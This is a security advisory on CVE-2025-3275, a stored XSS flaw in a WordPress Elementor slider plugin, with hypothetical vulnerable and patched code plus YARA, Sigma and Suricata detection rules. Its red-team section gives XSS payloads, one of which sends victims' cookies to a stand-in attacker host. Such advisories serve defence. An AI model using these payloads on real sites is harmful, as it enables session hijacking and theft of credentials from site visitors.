CVE-2025-3275

Executive Summary

CVE-2025-3275 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themesflat Addons For Elementor WordPress plugin, affecting all versions up to and including 2.2.5. The flaw resides in the TF E Slider widget, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious slider, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the requirement for authenticated access but the potential for significant impact due to stored persistence.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files against the official source. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Contributor-level or higher
• User Interaction: Required (UI:R) – Victim must visit the injected page
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authenticated access, but the stored nature of the XSS means a single injection can affect all subsequent visitors. The EPSS score of 0.0% suggests low active exploitation, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability exists in the TF E Slider widget provided by the Themesflat Addons For Elementor plugin. The widget likely processes user-supplied input (e.g., slide titles, descriptions, or custom HTML) without proper sanitization or output escaping. When the slider is rendered on a page, the unsanitized input is injected directly into the DOM, allowing an attacker to execute arbitrary JavaScript.

Root Cause:

• The plugin uses echo or print to output user-controlled data without applying WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post().
• The input is stored in the WordPress database (post meta or options) and retrieved later for display, making it a stored XSS.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a page using Elementor.
2. The user adds the TF E Slider widget and injects malicious JavaScript into a field (e.g., slide caption or link URL).
3. The malicious payload is stored in the database.
4. When any user (including administrators) visits the page, the script executes in their browser.

Impact:

• Session cookie theft (e.g., document.cookie).
• Redirection to malicious sites.
• Defacement of the WordPress site.
• Privilege escalation if an admin’s session is hijacked.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (Example):

// In themesflat-addons-for-elementor/widgets/tf-e-slider.php
public function render() {
    $slides = get_post_meta(get_the_ID(), '_tf_slider_data', true);
    foreach ($slides as $slide) {
        echo '<div class="slide">' . $slide['caption'] . '</div>'; // No escaping
    }
}

Patched Code (Hypothetical):

public function render() {
    $slides = get_post_meta(get_the_ID(), '_tf_slider_data', true);
    foreach ($slides as $slide) {
        echo '<div class="slide">' . esc_html($slide['caption']) . '</div>'; // Escaped
    }
}

Key Difference: The patched version uses esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Themesflat Addons For Elementor <= 2.2.5 installed and active.
• An account with Contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add the TF E Slider widget to the page.
4. In a slide field (e.g., caption or description), inject the following payload:

   <img src=x onerror=alert(document.cookie)>
   

   Or for more impact:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save and publish the page.
6. Wait for an administrator or other user to visit the page. The script executes automatically.

Note: No public exploit code is available at this time. The above is a generic XSS payload.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual Elementor widget usage by Contributor-level users.
• Look for pages containing suspicious HTML/JavaScript in slider fields.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hardening:

• Disable the plugin until a patch is released.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File Path: /wp-content/plugins/themesflat-addons-for-elementor/widgets/tf-e-slider.php
• Database Entries: Post meta containing _tf_slider_data with embedded <script> tags or event handlers.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress admin or frontend.
• Logs: WordPress debug logs showing PHP warnings related to unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_3275_Themesflat_XSS {
    meta:
        description = "Detects vulnerable Themesflat Addons For Elementor plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3275"
    strings:
        $vuln_func = /echo\s*\$slide\[/
        $vuln_func2 = /print\s*\$slide\[/
        $plugin_path = "themesflat-addons-for-elementor"
    condition:
        $plugin_path and ($vuln_func or $vuln_func2)
}

Sigma Rule

title: CVE-2025-3275 - Stored XSS via Themesflat Addons For Elementor
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post meta related to TF E Slider
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: '_tf_slider_data'
        meta_value|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in slider content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3275 - Stored XSS Payload in WordPress Post Meta"; flow:to_server; content:"_tf_slider_data"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Audit all pages created with the TF E Slider widget for malicious content.
3. Change all WordPress passwords if compromise is suspected.

Long-Term Fix:

• Apply the official patch when released by Themesflat.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Implement a Web Application Firewall (WAF) rule to block XSS payloads in post meta.
• Use a WordPress security plugin to monitor file integrity and detect unauthorized changes.

Valters IT